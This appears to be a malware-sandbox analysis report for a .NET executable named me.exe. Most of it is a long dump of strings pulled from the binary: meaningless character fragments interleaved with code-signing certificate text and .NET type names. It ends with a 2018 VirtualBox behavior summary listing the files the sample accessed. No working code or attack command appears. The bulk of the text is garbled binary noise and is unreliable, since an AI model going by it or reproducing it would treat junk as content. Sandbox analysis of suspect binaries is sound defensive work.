8' 6
SR;)
HDW>y
^i(?)/v!%
~G"
wiecJ6k6X5xKUMdMG1pnLL0Qzm
gjy6
`45@
-3si
lC0u~&
7%973W
180411191730Z0/
b jw1
XV61
@O,
pZg&
!h86
jQ{Z
hKl@Q84h
Sn)
}7SHsd
,4uz>
y@ol#s
Hf(S
J#P8
lxD
>tA
`jO:
mLGg
n=q_O
.KQyUz
&RF1a n]w
e .t
:[1 F|"
z0G
yU*(
7CE<
37UF
my!0
P6W
LQxZ
W^ZGF
t\'Y3
d'YX
q!f"
?G<[
X~jk
RC&:
>Xtr
+9l
eCmZ#
/G%r
-?oZ
=vPI
G"Kd@
}*u6'BK<j
F3yY
sWw}
Pt(~
/BU6
7
j'D5
&!b{
}|-?
-%U=
,J ~
^^~
QKh"
y 2L
U%T
c"$e
h>{O
[A?]
DFL1%
faGH
L/{ |qa
]UhnS
`3N\
C\ S
m89
E~.<'P
Mt?S
6S l6
#^
hvG
~XH,<
LL%P
%<OKA`
R57l
&hE6
@ 4l
VH*
@O oR.
Fx9!@
uQlL
gw^W
^8Vh
P$$v/
?M.E
%E)f
l<.Tz
fWSQ
Kh:A$L(bZu
ay7]
baut
Q+M>
! DH
tL4Y
,0M7
ohU%`
XfM~A
+4oR
I|UWh
a4)M
D%W-
CrDy'
b"0!
)lH_}1t
meVF_
AX;H~
OTj
&Ur0
QC=
l Yy
dSL_F
B#..
2`8
_8zP
jXm U
6[5p
r;F6
FD/.a?
8? 4w
!%&i8
5 hz
dBDm
.A"{
v- @{K
wrMZ
d%Ou
T%a4
#bh'
JS@P=
H#AY
4%]AU #
`R=
g.QEx c
qZ2/
e2Nm
U 4}
:+7>
J0M7
K#\ e
]1r,
W'Sm
|fTZ
D_q1*
15mBb
Q{]t
zA~]
*'@$PZ
5#oo}
&j3^
^0,Kv
]pB&
* dTE
a`x\
^Ty?
' rm
TYLb
&Q1T
Y~!on<
|*2o
7waU
4"\a)
iEFg
D=-z
.t#Q
2jj~
F_01
Vh84
CNF]
M4d4
^a8w
FP-]x
St4W
LSV\3(ujy
R;%jq
b+~a|r
D-ALH
t"T;
? t,O
qox
3TFAwORk>
sM *
=4S
]{%f
Dl{c
oH{/
q#P
o DW
hf2.r[2
,Sdq
wb=eE
\AIfK
J!2?3P
g!q9
[Bl&
bN\M
oh$
UVN"X
#^=
oIa;
Y_S!
;^YJ
syw!6<
[1$-
bC>@
cegu
IGcA65l
I,7lK
/.~c]Rpd
-i~]
PHuU
!Fh _
z_";
SHLR
C#uGp
lO*'
bi)F%9
XTe+=
5lfz
D-uBlW
AJ Z
%5`j
_/&c8K5'^^jZ
b@M?
ROpvV
V7zcM
JV}D
gE(1lC
lK7[
xKZ\{o
uM-dl
p!{; `
fX?~
ke=@ A
*r ~
B('=
D(<m_QbW<
`6%2
vd4@
*U;-
> c5n
YX<Rtb
^NCjO
a!K[
eSf&
m7s8
?can
)+ ,
n*QM
"9fq^
TeoY.
=_Z[0)
@%4
eJm#
w\iaS
3eDu
(qLg
N {U
ZXf@
9GyZ
&t9/
|n\Y
hjt{_
'O2b
ncy6
.OgI
,6;5
uhqDA
LagMSY
t`n`
n(qg
4kviu
?IrO
6-/@
7\?|
fq(!
Fo{bu;
}x?wj
8F7f<
ofVV
. C;
V>7@
S\U_
MIF0/
&pu#!
lHG
"*~U
QB!dt
LZ!<
vlI*
fA_m" *
ag,W
|Z3Z
_}7w
EP?k
H #
[ La
'!YQ
\&]=j
%(vUL
2ZKv
z!7
rG4;*
?;mz_[
k8qu
R</P
lE5
~ Pa,
VK$4
!es*:+
;Pt*G
=x(]#
2Bh@
xHE~
iaSO[
6 +l
[h&z
9`V;
f;rt/ L#
TCY6
' bo
|ep)
9 :t
\3@r
5 &r
5 s|T>
2ySL
3J$W
KM5x
Jut*
+&_
3!M:cf@s
Gjl7}n
7W(C
e3}JQU
1Xxe`0j
"/Vy
;wwa
bL&G
:h%,
$_sB?
Uae)
gJ:)%
x :,
_QQ$z~
4Hlu
Gt!L8o
{V]`
yp8i.
WFNN
rRx!Md5i
'm^Dv
q~aC
R:]02
Cq*e
,' J
m /b
|X $
7pJll
bwB&
Cr12
|.c9
WA"2
@" I
o+_aI
EwU 2
P" G#
nZS+
t|9:
W?|x
SUl7
0-Kdb1M
KwR;
v ]$
W Y
7hYf X
vrxQ+
C>Z
h{pt
Dns"z2E
+D S
.1Cs
|:;
nhPV=
=8~[
?7fD)
B\)&
Z~TeeB"
\$ dx
|s:M1
O&g(
W'<Fg
-B -
[V'.
wVoj`
vSeX
[pc;
hq;RO9Q
nOVO
vG])>
+YT I
:Fz
wK(-
**"~9
AzUy\1C'
'Ati
g+2k
IN2rG.
-g"M{
_4$x
qT{ ^
.Etk
,-3Z
Qb4Q
(?7<#
*dCys
s X<
2Cdg
u0 d
V! ]
W}3,n^.C
@ <kK
WJqk
p>@P
w+M1
@w=M
y2n)
Z%,2Rk`
GlDM
F;Gx
E,lB
7l>!
,bTz
>'2XQ`b
n+
UE^dz
{0:P
diFQ
bcV6
2PeYi
/~0&
L5(O
9Ul]
LPX3
-a P
j n
N)E]
<no bu
zYG1
%n3b
\QH8
/XMm
Dv2-
G(6y
f5gG
&KjG
<Ng[
x%i8
{ulb
i<e^
%Z`DuG}z
B,Dd
7$r4"
L=R|6
}\'I:0-
59)og
eo g
o_jGg
[<\J
PJZSI
X%ZH
*(&M
42tX
<SN-9
{ynz
mQaG
u# %9nb@f
a "J
;(F >
0"F[
b}\Q
;Db@
E/iPR
VIw>
R)l
^.`K
f4 ci
h$c^
9`59
Ci9Qj
9@2V
pZtv
F!#g
33wQ
^]ma
nv-7
[tBQ
lR;s
)p{0((?
8!W*K
WmBL
vN N
8%FK
L&r,zQg
X_+:$
8ZMf
H@Tb
t$BDe
8H*m
MV(
f_v(
5!7Bj
*6?]~
9{c9
@hS8Uy
i:w^
~7v?
c$jO
m4h[
8?qV
0DH
Hl:`
w2Hg
W8uY
:IV0
E<M9U
s#ss
TMpKuWxy%
y7Bd
;XE;%
x/*?
b~KS,
uZ >
-"17
!9[6,`c
3aFb
G~sye
YB#C
1|Ja
]dEf
2V``L
oTn-ZGC\
+#Ti
/v&4
D^\z
9TT_k
SyQ4
*{Y`x@_?
UoI*
r 0E
~GuH
c'yqR
hk1jqtfPg:!
;St`
dQ,M
?*CO
s @'
,gK c
.+"'
q~R{Azu
]c[p
<(7c|
w/I+
jn)xK[
NtF=
$Lff
A ua
&0/
cO<U
1c>{
hAL+i
P\)4
F5m6
Fl(h`
hN.EZ
Append
6Yu7
ba$ JTD6v
]92o
nVB-
X~aK
!U"wg
a1$
t !
W_z
l]RIO
)}zd
0|t
nV1qC
y=XW
<E7w
&@Rl
vY/5m
19]K
UdE
P n#
F>3{
C-HC
*cK}S
SZ>UR
M+ZZf^
`3@^
]Z.a_
p|9F
P4HM^g
aEIM
Xn-TA
- !=3
rpc/
4s$k&E
5o$Z
W"P"T
W]NCmZ
;h(M {
G js
XKj
4iZE
snDBw
c<qbO
8C#1
,_b
rNQU
\f{y
lCr3XptLuS5ftkpElmi10FC0hVUxD9
Oj^D
$Ui`
SP!?5
8dxM><
pP 9
EXV5
5)`l)
q8sv/@2H"
1 FS
u|Ep
&@R<
|g , "h
x|v-
mP8H
00O
,{bqx
Qubsl
w$7}f
XTKZ
zj$y
Z_{>=
gANu
Z 7i
iG4G
Cv~`j
*Qzt
(A-O
'7Ew
yf`)'e
'~X2
+{,7A P
Wdi*
?T8n
P#k-s
fQ!
6C\Cx
\TAw
Y{8.6
\kP1
@n1M
H. wFG
7\RU
;%"br
>$NM
IO U
^qHi
$~Af
9/\ q/
a~_+
`&5|
*Ag,s
vf<(y
d?c Y
%http://crl.globalsign.net/root-r3.crl0
&JE
+qqA8
7Wn0
wJ <f
%A
x,%&8k
auT"
DhCj6
0Z1 0
3 }(
4!2
EK=) qP
)~},
;L8_
9`}(
CHYp
.S>d
wNx4
g0e0*
w"Y-
8?Xy"
`F~T
l^GUw
Hx)*`M
rt74
'l1s
s3S"%w
.;*i F
$Niv
+]l
#c$$z
#][r
]L[gzQ
/OeXs
E',^
QK 8N
\-N,
RJ)>
}:vG
$Tr8
=A43
3[(9
3c Z
O"AQSsY
W G@
``Gl
c(-_{
.#ajl
{v9'
!`U_c
g0dB
IJ.k?u5
n$+K-
4a}
UUZ*
h&o']BK
J;;B
NAauW)j
4Ri(
aRew+
]MK/I
bm$9
,jy(
p8.MpuV
e%fT
7wo5
aEqL
=>|YjN
8J .
W}0
Y>eb
&+
O2!XM
| 3!
BZ vn
p[mi0
5L"tj2
>]3A
a }
Q7+(
x I`
Fao}E
Y<4i
#tE
'Q4_&
LiXU
N&=b
amo6A
[+;
@3r7
y{m]
n(yn
$vi
) q-
Fu{
'Symantec Time Stamping Services CA - G20
6}f>
?e),
v(IL
|1w
u}J[F
O A$
`[@r5
L(]o
Ot2v
Osb0
(&RCJ
\PbQ
~Z zV
(S!i8
E,2:#
8.(TM8W
:7k9+6n
M6OIK
U`tQ
U(N
^V}}
2hvU
;Qy&
^^}/
AzE:,
{)nw
/EAN
2npX?
eoPx
`KO'2
OT s
@Y& h
X-QV
V p*|-
KW%
"2%P
=k|L
)Nys
d5ja
eK21b
e[pg
y&OU
oH-Ic
mLTFc
Sdc1r
%mi{
\KKr
JVi_[Vs
2;EX|
azMj
EW=d
r**^
/Jaj%
t@E4
#Jyp
$CiWB
H`3S
5kb9
rL9i
qQax
jQHi
Q<x4
Lg"Q
dA} |
-M*
^iI?mpB5X
D%RAR
=A&U
e<=1U>
B 3R
r (Eo
P<8u
M4ph:
:2:7U
~`")
AVN|
JmFt
H)' _
K]tdR
PV\v
259K
Gu #+
#JX<
Zv /
F Hr
^ j F
'u. se
!RwF
T*YM
[OuZ
Z,XC6
{+\)
+nAGhN3!B
WPeT
SM]48ju
[YJKS
0C -
qH)O
?U6K
7qb,t#
F.5r>
UsA7
1v7f
Rp ?
1Fan
.IOd
+http://ts-aia.ws.symantec.com/tss-ca-g2.cer0<
D`vk
g e"
cbVm
?'<x
[=7LL
Xht0
5Xm^-
PSug
}",E
7`ux
Lowe
8BSY
$niU
IWA3i#&
aB`"a
z73|a1
b:!e7/
0!0
u'q&
uG=(Y$*l
b3:g
6(F& k
mhI'
tGzF'`
5n8w
$,QML
D BWN.z
!K6FTA
H $z
O<SAL` <
ys!@
5,DS
9oP53kqGCohBarYO5oFI8Vc9q
p|&d
cFz4>
=!BO
i X$
'}PM*v
yLdtA
f7id
;3!
&(:=
$v S
sJXv
_JqE
&5X<
k+z,
^%:}=O
6lI
J]y=
[?lq
4)STx
$u% T
@Yn:>u
(rr>]
Kbktz
`\By
V"sA
\r/v&
Hdbl/
.)U7
y:&s
{&,u
&ApPy5GOMQ0MPxe2Q6Od9aB9qAK0UFGMs08NITH
/*o8
[ s0
t$9c
)7rJ
0}UM,
'Av#
7K:N
4O&E
MN+[Ej
6J~5
99v`
:U
<%J
nbqE5
m=/+
shCI
s0nC
*+9[j
get_Message
DZ>
wNnr+;
Jvp:#
dS$+f
7pX7
Poft
B_V]w
5zDht
Symantec Trust Network110/
;%8X
|S&>
~^1F
E7:@
P]P(Y
2R]k
eH~7<{nR
B"r[
{un@
j<c^u
^`8"
LnX/
`5 ~
K(vm
1: I
`] 1
\%B
]eOy
R8yJ
Z Ne
3Xt7L
BP z
+iN8Kl
t=27
[A{m
3M j0B
~no
k3}K
b3 AN
kk@3L
a1_|
N0^Q
vzjw \
?gBl/G
wtkk
0xtb
c`@2
z $q
(9
+6?~m
58N
D~pGB+
JLnw
q))/
vra2
3? t
JG&-
V==+cy]
t`=5
_c&[
TF@C
:p?K
jqac
m:pE
%.
Hh[N
<A|2Gt!
G2gv>'
A!A4Z
n)('
#/{Vri
AY fJ]
JZx|
?1%od
j~s{
!Uk<xF
c~J.
\__izc
v_bV
VgI
g8~|#f
TE. 'p
L!uR
ES>C
vpao@
Ip4Z70GcmmzG8ZMAnfZ21Y
)\ 0+
3pd9
&p<h
'j iQt>
$ m0
}p-j
6Z%nV
StringBuilder
r26-)iBi
GJEZ~
7_CMw# C
F~9#
IYN>#
n UUW*3
Z8&Z]
^JStK
yU.&
uKzI
wuh 5k;S
96O)
.-" Q"f
z8JEy
O;X$
@T(P
.mEf
QE?
+|v9
M1YU
B}mGmQ
<9< ~<
1UA\
]A%w
yB (
WRZ!i
y1$
0Sk9
5dOrH
smco
vWrT
s' y
gX.f
F|t`
>"hcS
UH>Ls
W _n
#E@,
s '$
E-[U
KL@$J
U}M
S*Aa.r
H:nq
<|h$
LKbs
B;KK
j![>|
/-L5
;Jau
c.R,*
z1{3
<~2?~
il=
+Ei:
)W^i
;ahY
TmIS
_Ln,-
sQS?
F& ]
b,"m
r)<'
X6\W
:@ZV
*3K#
T jr
@+iQ
\&A.
TB|&
7;CnX
Oqec
vn(V
6HJAF
/d1`
<d!!T)
DmO Gp*g
!wcg
20Xms~'
( ,i
Q;!k
4q03.T
! 3*
~d|I
@]u
bA )5
(&}NbryB
\jWKAg
-\2?
[r$`
- S5
8=e"Z
R/`X
uc '
^+`B
VHJ
x>k|y
wrvZ
UL,t
!^;2w
z*nt;
>/&yOVJl
gs&-
bJ-K
[!xiM
x 9J
f%,~
\/uJ
Y&pe
E>Gn6
HQ,i)
!}2U
XnRl1s
pDV
Q+M7qA
B[XsV/
)O
Fay.>
(MP*?w
74.D
R2K
EM/Q"
1Z Ec
(~xe
"=x
Rp3X
(y(n
Xles
z F
z-Hi
^vpV
t<,U
|4q/
>g}\1 pFh
0ck(
rSwW
t*c
KLDG cZkZm
~.MW
Ey;0
f~;]
>g A8
XN7|
DKlb
/8:%
>l P
Kw3O
0u :
]ov2>
gz[3
JsO
0 \=
C#Ae
)d&+
C S2(
j^O(
j@:f
String
E+yd3
QC71e
.#32
ohA?
F!^q
EACoB
Q'rR
T}XT
set_Key
9z7,`
T nx
<r3
Pf3'
EERm
Y3xz
6.G?
"CY7
B u%
/Mwln8K
R5qro
Q44B
mW,p
*.iV
'&\C
jFZ~Q
2X=,
?&16q1
Zn`.JT
^QWnP
"hLC
YI*v
:})<X
u4Cy
310111235959Z0w1 0
szcC0{S
_(wC
}ql+v
y[HgI
v]c\
bb2(
{yO
n(*.
_$kT
hfRN
Q7%,
06Z]@<
,J|\
[k 0
n\|?T
'^c=
fX;i
)|{k
`eRu
<)<
CQ2i
NM_=
*kUAW
nZL3
<L,3
PibM
,6'd
{f9c8
|3d,
W Fc
oc:a
2:r'
[=hBsf
Xo>5|
d/8Q
{4j$
1kZ%qt
IOG;
+,PL
>X~L{3
Zze=
#x3Ae
/0-0+
K~d9
8>SN
+I4\U
,;>W
HDZp
Z<gu
,GxW
DOPi
+ k9 X
:E=R^
5j"_
AB"H
U RX
~M:Yz
mK_0HS
B?Lm;
*> T
hEw=
-lQO
x 4U
}`F
xj:3[
]2JE5
O }Q6
2?h[F
\?)T
0L1 0
0]Dn
`q+ Pw
.8">
O6N(
: V#
JuxE
fLb
>vOR
<N0n
7E<>
290322235959Z0
`U
baT%r0
k:#E
6/=2
&g0a[
KXw,
N ~
&!~/
gn9<zd
h/I@
A+`
y@b%
/r[:
f4r<
RUi
uwm0
2S/4(
:6NE
Yx '
~D4~
U3tIJyR
*m>L
`q.M
dHw
f26F
(9:
wQ-Q.
FD&D
Bb3*
s`p,
mv{8~
Qv-b\
R>9df(F
"I_7
^0]<? !
x>Y[
O(
K.8J$pT
cCKI
ZsRx
6 b)
*9[7
zC/'
FTMu
y-7n1
=PDHJ
4+ >
q lD
2>7G\f`
XSS+
Object
E:4`V
5Hqi
?"\ i
[9D!?5
^/GE
V]A@f
CjK^
@W6P5F
PCs:
<Xos
i$T>
P60j
r~-<@
$\,z
PKFQW
uFI(
C1Bh
BD/j
{@m*#
oda*m+C.
R'S~
pWG=
'Wp|"
BS9Ff
g:0^~
]6l!a
Kpf^
Hz?Ps
asOx#=ib
>.aA
BZ#P
H"T_
c,iv?
e=33F
Q]v) *
{,k
$AnE
&ZU>
J?9l@
%!]B'
uRzbS
V N
Jw.u
T73'
5}mm
M5?
;g<<L
kU>hY#
~, t
!mUq
E5*-
cCwj :
Y Ds
ujQF
uz;Q
}w1iG-n
LqE.)
4y(,C
iM=F{V
dwG]s|
M37rI
w>CG
=K+.
B^Z
<!@Wd
GVb8
uX;J
rve]2J
P$rd
5c4T
`oc#
93u}
,nOb
vp7F96
r'O_r
Rt"?
Q@p'
0}\7Q6
49y]
F$aqa-z
O$6c
6'==e
@Kd0
-{YnKp
t+P(<%
mB|k
q G2
-<2
O#=q
#5<O
LDEt!
h)P5J*
{i,{z
r`rt
(O=
Z7,8@
ZM #
,*F)'
-o-#X
bs(V
_ Q%t7
C]3'C
)Y8J
CompilationRelaxationsAttribute
ovZlo'
xTN
h0&!
W**|r]
e}Q6(
e$}sv
`@-H
. 03
hh'n
7+.z
j&U
[g$$.
UV .
Yj*d
yNjv
$0
d m#
Wp\
,Lo"
q2Af
K? x
9Tb^
|f}l
C h{
"=:+N!
-j^C
Ynl
v^f#
$8Z"
nEt>
aUS@
QHPH_)G
6hK&
#~*i
t,;d
*ak]
0%[S>
(J8d
m%GK
=<f|
6M>,
no'/a
uzL%Z
R 0/
/<!m
Ewyw
'1I J
{0lDto
8s/}`?#
Kez#
h+?eg
rj\)tY
wN%q\+
+_Qk
p&L40
YjXD
Q#v"D
WFak
qa(2D
Z;:M}
!WZ}x
+rTn|
-;i0
h[5*
bIsl`
oeLD
Z%*/
_iVv
V)n;
Osf;
7{w(8
v!4B
!p4eVtx
K9J7
AhOX
jp> .
.ceg
0M6\
A[E <a
2hR4
2EN=
5$>,
iT<KA
mo61Y
@8Ob
KaCPZ
}M\1i
"g't
:1~
Zupe
>}%(@
W`u8MW\
Eh>
0M[S
k(3Pb\
;4)Fn
-3i"
jdTu
*xFW9
Dz2K
}`|Oi
!s%aF(
WCw *,
,HS7
Mc#K\
nfO[e
b1 8
|#1v
fG%=
Vkf)'
b^g{ #
8Dk3d
%=iD
m-Xi
ctWf
// BQbD
:E;;
^),gK
%"[s9
n3jf!k
UIBU
h[k0
RQNwrS
"BX/
b?^d
?RNq
88gK
*=LK
-S*p
X<fuF
$[ _
o$F\=
"+ "
b_J>
xhQj
p^/)i
v1W'g
z^F@
k ?JL%
q'b
sc{f
x#\T
lgm9s
sN(V49
Z(
`c_j
xD4z
ad 09
d1n[
C_@|
r#0?
2b-
$ S
&VV(
okeE
>r6un
n@2
YUIu
C{
3C,/2D8
p=S`>7
@>PW
+!ra
HKtS
VqiL
m(h1
0'P4
<#1}[0
LBPB
=PLn#S
x]m0
/ymQ
f`+t
O'Dw/"
q M+
WBU)
IU:7>
5R<e
Xsjd
[Z d:
d]oE
o/|}k
H6@"
Km_L
MX\n
:z^.C.F
'J ,_v
KP[)
E2) @
Wf&+
0L0#
=1
6^G/"
Western Cape1
MFi?oC
JJ_%
I mZ
~AM&~
O:aNn
}A}I
eTei
DpJ,
X=[[
%SI`O
W) ~
MKLD
S:*cE
2OJb
/E]
K-{;
5jj
74,|
1G|.
?5qey y
qSdC0Ee!
}ilL'
&# A^
X b\
\,813
? c
AC$b0p
wk{w
.yhl
G&XF
Ak&)H6
^;Fo
0Cl3
_<_W@
*9k1,j
A dv
YbCn2w#
-5KEg
Vq-
{b-.
e#?($
H&ZSG
8h!{
:hX/NK
3|V
zxH;
1WgW
.?=A$GB6h
fJ(c
!wza4
jZ<gl\
IWy@J{h
TM%;
sgG{
jZ-K
_w!u0 M
fv_t
M/)WF`
ap%/
p5(q
e"hm
S`Dw
>~6#
o?;Klu}eCpJTH?u
+_9
2kZW2sGCICJZo3M2BWVt3Oz
3q8
4"_b
{2wl
HE 7
U){9FN
u6:{aD
^1x4
#fR"D
M9)C
(c1
f LH
:d+`(
G@3D
Gb2g
Z1M}
<sZ2o
T-{2
sGwk
@j <W
Sr 6
</Gp
Gt '
:2SE
7m,g
&gPI
!{C-#
philandro Software GmbH1 0
xNU7
f|'+
r,O-
@ Hf=
T! ]
u `T @
a;iw
z'\>
eE @
7swO
G\OdZ
cw{(
*p<#
iL7ar9
S+-xb
fau@
8})2
&y:q
U!p_
~jUbE
%;/O
=)Oj;P'
(shj
Jbh
m^_"
e@y
Fog~p
FVxh&
c-)cb
H?Iu
%8#>
Qa2&p
dAk
z3SF
[fwa
/fT-
^"Ex`
AwCX+
0BXU
+ t]
QYSbCIK3N5jaRh414hPb
{R?W-qM
gF j?
}*sJ
lGwE
y3tT@
qo7g
#W%Bt
V|$p
T' g
#+R
Ik0Z
X;l-
HDDC
,c|'C]V
'HG"
D:<e
VeY@
ZsO$K
d_)z
y*/A
? Fn
;es.
! _L
8O$RjQ
o Xo
R oHq
e'Y}cFx
]nj^
<hb}
w(N#
_b}$
85Nn
~`U7
np)r
lkDz
Is7A
Q8 -
Q}sw\y
un<kZ
Na;$
/mze
-hrK
v}=vt
739A
$18>
z+CY
ZN$;:
#z7t#
5k1}
SL(%z
y341
hgR/
n9;%
z 4(oE
{eRB
System.Runtime.CompilerServices
Zgn]3
P]/m
_5;
Z "T
MQ,2
=cn/
X-ZB
<x#
: k-
,y"*\
yq#R
a\~$
r^|l.
System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
J]>
HZj1
AP"x
9yWOr
2n|N
7@r(
[YR&
V+ ^yo`
.cxI
#$%H
9.=u
ykR
w =q
KgUB
&oy>,C
8px?
Q>QJ#
+q~
nv||
++}.
C 8iE
{0,
-I=
dW\3
w#_P
3fet
*u9
JRg1
:c4@
7 "
&sGXi:
5sAJ
]We(
$^<?
> P0
mnG2+%
S)sD
8|Z<
`#S=
}{-S
kd=?
><imA
]=Fa;
yXj2aF,
\S&MD4
>R3*
rn^;
6t|l'
Q/Te
V>Hm8=
Crj3
8phM
l ]
Ga}K
jN9-
gD3J
=ity
a!-u
U@)J
^D+7w}y
}p g
coch7
<qj1_Z<
"Pv}
xh6.
B;9'
z-!v
c$b8l
P<Lr
=EwJ
<MaJ
B6u+!S
&(`M
[ a]
>'u4
y,e
t P,*
+aQt
/Q }
p$c\
N vaE
w$r
vsn>
@8?hM7
//GW
r>H9Z2_
MB8s
%d+)
{QM7
9rM?<A
c?Bs
x"eN
IXyh
\d~0
V]sN
1jrN
?OF0
E!!I
%8^8
,[oiu
gH^
&4&W)=
JEj4|
mw]5
5 &-p
+ [@b
%J7l
w!+D.a
T`02
%5bj
[)dG
Z|Al
u{: T
N 2o n
sR$=
yZ:G
S~I
H>5Q
@4 6
C*pVQP
sWc0e/
aVxp
mns-R
"$R2
zFKP
,op<d2
6/h]:h
/%if
UFnQ
iiwr
dR
1Qoh
m /;@
!m5C
Z$_eI
Y,M3
^T5 @
D}@S
&/lh
\T>Cta;m
|v.I
KHm50A
VZ^Jd
3$H|qm
+AI
4J{Z
9Nq-
/O`u
'vs/
v,zr
i'QC
(< M
QcI$
'!R|r:
,xtI
(hJ$
O {
s`Q8
< uO
3<F{a
A-8
$f=q
T<./
T_?~S
F)LW
wQ~`iR
hPjq
0E!zJ
e5u8
l_8T
q.-wC
:6mD
s{LH
vUIn
AN's
Q8?e
'/0
Nb m
1 Nx
Lb*
{$jJY
cVI9#'
%|6o
Ki~UA]
.ZT8&_y
s 'u
yFiA
qvw]
k0w1
lx@d2
3E Y4
tzt
]<z\ZO
N'<7G
%PlVH
'_e
)0t/s
C3,7q
OMm'
HBGo
kx V'
k.6KS
hGeaE
TbAx@
\uron
[ p>
@Hv"I
EG`#&
i(j
E#sg
nc88^
5,E:D
=. Vv
f,!x
3d>P
buS'Z
SiLf
-C45J
X]vJQ
= da
AE UF
YX Q>
z][&W<
QQ9{
Qa
R h [dB
amF*
C!BF
Vz7=4(
gXRC=3
b%Ik
k/U+
p}@ ~j}
j!NI
]ofbh
=#7R
2 '
,0>9!
a n0{
aL?dyeC
S{Fk
z{/
KGSK}
|/vTe
2_p 33
/$!/
d,QhS
`[}h
XFm59Q
B@IKKD
}hAy:?
==Oc.L
#`W0j
XL:f
$)x?^
pP, t
6?^!1
Y$CoQ
=N^A
Z9Gap
)#+N
(B9^p
l6 CQB
Z 5\W
_hN\
Q -w
utEg
R4C
US [
-U Bj
\Z*s
O6ck
lyP
R]NR
H,T
t^3
|F"&
>X#t
Z9_Yk
g$</
v b!iK
4qd$
8@JP
60p7
6#oO
+Mug
j?c5
|@<7
MNZzm#
Nrn.
X{= l
sI@D
fx
#5fz
+{i-+Pg
Nz6}nG
Jy}.
J`98
*jr+p
$8diUOmUJkPWTbVzhw3CZnAJ2UWnk6X4c9Yg6
J{sl
(e?N
m}==
`5TG
2^Z
[Wwt
T$0R
89\H
&L
mxox
##.Dr
G4|Pm
G[I=
h&SL[1w;
V/7G
0;K~0
'0I5r5Y5f6UTBZWStl3TCKPwJvtHOMLujNpr7eVY
J9 4
Mj@o
Ha{O'
/,a"
/!6-
n?#"b
YSq
[x(T
Tbqo
`=*X
"Zh2qc
vE Hr[
9i?CO
?5Yt
D:qjH
u{P0M!~5
~.4U
2#U'
\\_R=L#yhS
'j5K
%6G%
Mf0mQ
wFj;
TATg
b?cw
K2[,
pZ&c
i-<f@
yuy>
System.Collections.Generic
Q6e-
v4=
.w .
"+J^,
^.V9
yNK
,#(t
:E*-
egn
%[8SS<4k
j%g+^rJI
$9S7
-3Ve4
` m-;
v u43"O
3!pH
c0E(
QT-'eX Z
$AW>
H^;4
Nw#2 t
Dm(k
|WWn
S4 (
pzy+
Cq[q
QRva
G@Y $
GwlF
_E"I
E.g8
Ch~0
xG;y0
gCfm
L7TB,
]\ ;b
)u?4O
1XRp
C*:$`
LEt-N
=6k[X
l#BT
8ghA0Oj7hJGt5BH5LaoThx4V8RYyX9
Pc&jW
FY `xY
m<pZl
:I3j
>|AC
aaHlfe
(^7 hH
Y0M4
7x7W
RF56;
>fJT
yUZ/
{P-(a
=u}d
c6K<\
x{
e'fN
fBm\p,
|Zsv
ZuQ~
,=WJ#i<
AI1vVhp
eZE(
{ YVq
a?gy
>Z@h:
QVbxs
eD0e&4=
|m^U
I6CjX
\m\Q
15k=
z{%Y
^<NN
$hH1
>s=
>Yve
&\LnMO9
g;w-U
Y?>w
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven02_64 Seven02_64 VirtualBox 2018-05-18 17:13:17 2018-05-18 17:16:14 177

23 Behaviors detected by system signatures

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven02_64 Seven02_64 VirtualBox 2018-05-18 17:13:17 2018-05-18 17:16:14 177

10 Summary items with data

Files

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Seven01\AppData\Local\Temp\me.exe.config
C:\Users\Seven01\AppData\Local\Temp\me.exe
C:\Users\Seven01\AppData\Local\Temp\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\system\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\ProgramData\Oracle\Java\javapath\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\wbem\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\WindowsPowerShell\v1.0\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Users\Seven01\AppData\Local\Temp\me.exe.Local\
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows
C:\Windows\winsxs
C:\Windows\Microsoft.NET\Framework\v4.0.30319
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\fusion.localgac
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.INI
C:\Users
C:\Users\Seven01
C:\Users\Seven01\AppData
C:\Users\Seven01\AppData\Local
C:\Users\Seven01\AppData\Local\Temp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsec.dll
C:\Windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af
